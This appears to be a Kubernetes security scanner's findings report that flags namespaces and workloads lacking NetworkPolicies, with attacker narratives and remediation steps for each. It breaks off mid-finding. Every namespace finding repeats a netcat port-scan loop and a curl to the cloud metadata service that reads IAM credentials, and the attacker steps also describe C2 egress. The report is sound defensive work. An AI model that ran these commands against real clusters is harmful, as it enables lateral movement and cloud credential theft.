This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in privesc-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in privesc-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to privesc-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n privesc-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespaceprivesc-fixtures
Show raw JSON
{
  "namespace": "privesc-fixtures"
}
HIGH Namespace/psa-suppressed/psa-suppressed Namespace 7.4
Namespace psa-suppressed has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace psa-suppressed: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/psa-suppressed/psa-suppressed Namespace: psa-suppressed

Namespace psa-suppressed contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in psa-suppressed and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in psa-suppressed, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to psa-suppressed.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n psa-suppressed --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacepsa-suppressed
Show raw JSON
{
  "namespace": "psa-suppressed"
}
HIGH Namespace/psa-unlabeled-fixtures/psa-unlabeled-fixtures Namespace 7.4
Namespace psa-unlabeled-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace psa-unlabeled-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/psa-unlabeled-fixtures/psa-unlabeled-fixtures Namespace: psa-unlabeled-fixtures

Namespace psa-unlabeled-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in psa-unlabeled-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in psa-unlabeled-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to psa-unlabeled-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n psa-unlabeled-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacepsa-unlabeled-fixtures
Show raw JSON
{
  "namespace": "psa-unlabeled-fixtures"
}
HIGH Namespace/pv-hostpath-fixtures/pv-hostpath-fixtures Namespace 7.4
Namespace pv-hostpath-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace pv-hostpath-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/pv-hostpath-fixtures/pv-hostpath-fixtures Namespace: pv-hostpath-fixtures

Namespace pv-hostpath-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in pv-hostpath-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in pv-hostpath-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to pv-hostpath-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n pv-hostpath-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacepv-hostpath-fixtures
Show raw JSON
{
  "namespace": "pv-hostpath-fixtures"
}
HIGH Namespace/rbac-fixtures/rbac-fixtures Namespace 7.4
Namespace rbac-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace rbac-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/rbac-fixtures/rbac-fixtures Namespace: rbac-fixtures

Namespace rbac-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in rbac-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in rbac-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to rbac-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n rbac-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacerbac-fixtures
Show raw JSON
{
  "namespace": "rbac-fixtures"
}
HIGH Namespace/rbac-ns-fixtures/rbac-ns-fixtures Namespace 7.4
Namespace rbac-ns-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace rbac-ns-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures Namespace: rbac-ns-fixtures

Namespace rbac-ns-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in rbac-ns-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in rbac-ns-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to rbac-ns-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n rbac-ns-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacerbac-ns-fixtures
Show raw JSON
{
  "namespace": "rbac-ns-fixtures"
}
HIGH Namespace/secrets-bundle-target/secrets-bundle-target Namespace 7.4
Namespace secrets-bundle-target has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace secrets-bundle-target: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/secrets-bundle-target/secrets-bundle-target Namespace: secrets-bundle-target

Namespace secrets-bundle-target contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in secrets-bundle-target and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in secrets-bundle-target, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to secrets-bundle-target.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n secrets-bundle-target --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacesecrets-bundle-target
Show raw JSON
{
  "namespace": "secrets-bundle-target"
}
HIGH Namespace/secrets-bundle/secrets-bundle Namespace 7.4
Namespace secrets-bundle has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace secrets-bundle: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/secrets-bundle/secrets-bundle Namespace: secrets-bundle

Namespace secrets-bundle contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in secrets-bundle and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in secrets-bundle, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to secrets-bundle.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n secrets-bundle --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacesecrets-bundle
Show raw JSON
{
  "namespace": "secrets-bundle"
}
HIGH Namespace/vulnerable/vulnerable Namespace 7.4
Namespace vulnerable has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace vulnerable: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/vulnerable/vulnerable Namespace: vulnerable

Namespace vulnerable contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in vulnerable and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in vulnerable, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to vulnerable.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n vulnerable --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacevulnerable
Show raw JSON
{
  "namespace": "vulnerable"
}
MEDIUM

Workload Deployment/flat-network/unmatched is in a policied namespace but no policy podSelector matches it

KUBE-NETPOL-COVERAGE-002 2 subjects Score 6.2

Affected subjects (2)

MEDIUM Deployment/flat-network/unmatched Workload 6.2
Workload Deployment/flat-network/unmatched is in a policied namespace but no policy podSelector matches it
Scope · Workload Workload Deployment/flat-network/unmatched (labels map[app:orphan]): covered by no NetworkPolicy in flat-network
Category: Lateral Movement Resource: Deployment/flat-network/unmatched Namespace: flat-network

Workload Deployment/flat-network/unmatched runs in flat-network which has at least one NetworkPolicy, but none of those policies' podSelector clauses match this workload's labels (map[app:orphan]). The Kubernetes NetworkPolicy specification is explicit: a pod is "non-isolated" for ingress/egress until a NetworkPolicy with the corresponding policyTypes entry selects it.

This is the most common misconfiguration in clusters that have started rolling out NetworkPolicies: the operator added policies for the visible apps and forgot a sidecar Job, a CronJob spawned by an operator, a debug Deployment, or a workload whose labels were renamed. "Selected by no policy" is semantically identical to "in a namespace with no policies at all" for this specific pod (full allow-in, full allow-out) even though kubectl get netpol makes the namespace look protected.

The failure mode is invisible at a glance: dashboards say "NetworkPolicies present in namespace," CIS 5.3.2 may pass, but the uncovered workload is exactly the kind of pod attackers love: operator-managed, often privileged, often forgotten.

Impact This single workload retains full allow-all ingress and egress while the rest of the namespace is segmented, making it the easiest pivot point for an attacker who lands anywhere else in the cluster.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises a low-value pod elsewhere in the cluster (CVE in a web app).
  2. They scan the namespace's pod CIDR for reachable services. Other pods in flat-network correctly drop unsolicited traffic, except unmatched, which is uncovered.
  3. They hit unmatched's exposed application port and exploit a known issue, gaining a shell.
  4. From unmatched, attacker has unrestricted egress: hits IMDS for cloud IAM credentials, opens C2 to attacker IPs, uses the pod's mounted ServiceAccount token against the API server.
  5. The attacker now has the network position the rest of the namespace's policies were designed to prevent.
Remediation
Either deploy a namespace-wide default-deny baseline in flat-network so every new pod is automatically covered, or add an explicit policy whose podSelector matches this workload's labels.
  1. Add a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) in flat-network so future pods fail closed.
  2. Write an explicit allow policy whose podSelector matches unmatched's labels and lists only the ingress sources and egress destinations it needs.
  3. Validate by re-running this scanner; the workload should now match at least one policy.
  4. Add a CI check (Kyverno's require-matching-network-policy or an OPA constraint) that fails if a new workload is admitted with labels not covered by any existing NetworkPolicy.
Evidence
Labelsapp=orphan
Show raw JSON
{
  "labels": {
    "app": "orphan"
  }
}
MEDIUM Deployment/netpol-imds/imds-open-app Workload 6.2
Workload Deployment/netpol-imds/imds-open-app is in a policied namespace but no policy podSelector matches it
Scope · Workload Workload Deployment/netpol-imds/imds-open-app (labels map[app:imds-open-app]): covered by no NetworkPolicy in netpol-imds
Category: Lateral Movement Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Workload Deployment/netpol-imds/imds-open-app runs in netpol-imds which has at least one NetworkPolicy, but none of those policies' podSelector clauses match this workload's labels (map[app:imds-open-app]). The Kubernetes NetworkPolicy specification is explicit: a pod is "non-isolated" for ingress/egress until a NetworkPolicy with the corresponding policyTypes entry selects it.

This is the most common misconfiguration in clusters that have started rolling out NetworkPolicies: the operator added policies for the visible apps and forgot a sidecar Job, a CronJob spawned by an operator, a debug Deployment, or a workload whose labels were renamed. "Selected by no policy" is semantically identical to "in a namespace with no policies at all" for this specific pod (full allow-in, full allow-out) even though kubectl get netpol makes the namespace look protected.

The failure mode is invisible at a glance: dashboards say "NetworkPolicies present in namespace," CIS 5.3.2 may pass, but the uncovered workload is exactly the kind of pod attackers love: operator-managed, often privileged, often forgotten.

Impact This single workload retains full allow-all ingress and egress while the rest of the namespace is segmented, making it the easiest pivot point for an attacker who lands anywhere else in the cluster.
How an attacker abuses this
Background
ResourceDeployment

